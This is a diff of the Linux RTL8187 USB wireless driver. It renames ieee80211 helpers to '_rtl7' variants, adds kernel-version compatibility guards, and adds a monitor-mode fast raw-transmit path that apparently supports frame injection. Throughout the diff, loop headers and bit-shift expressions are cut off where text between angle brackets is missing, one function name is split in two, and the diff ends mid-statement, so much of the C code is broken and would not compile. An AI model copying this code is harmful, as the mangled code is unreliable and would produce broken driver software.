usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + 